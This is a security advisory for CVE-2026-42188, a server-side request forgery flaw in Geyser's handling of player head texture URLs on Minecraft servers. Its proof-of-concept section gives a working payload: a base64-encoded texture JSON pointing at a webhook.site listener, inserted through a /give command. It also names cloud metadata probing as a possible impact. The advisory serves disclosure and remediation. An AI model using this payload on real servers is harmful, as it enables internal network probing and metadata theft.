CVE-2026-42188
Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser
Description
### Summary A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. ### Details Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure. When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated. ### PoC 1. **Setup Environment:** - Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed. - Ensure you have a Bedrock client connected. 2. **Prepare Listener:** - Go to [webhook.site](https://webhook.site) and obtain a unique URL (e.g., `https://webhook.site/YOUR-UUID`). 3. **Construct Payload:** - Create a JSON payload pointing to your listener URL: `{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}` - Encode this JSON string to Base64. *(You can use a terminal command: `echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64`)* 4. **Execute Command:** - Run the following command in the Bedrock Edition client: `/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]` 5. **Verify:** - Check the webhook.site dashboard. - You will see an **HTTP GET request originating from the Minecraft Server's IP address**, not the client's IP. ### Impact This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints. #### Affected Parties - Minecraft servers running Geyser - Server operators exposing internal or cloud metadata endpoints #### Potential Impacts - Internal network probing (e.g., intranet services, admin panels) - Cloud metadata access attempts (e.g., 169.254.169.254) - IP address disclosure of the Minecraft server - Abuse of the server as an HTTP request proxy Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: - Network mapping - Firewall bypass attempts - Cloud environment fingerprinting
How to fix CVE-2026-42188
To remediate CVE-2026-42188, upgrade the affected package to a fixed version below.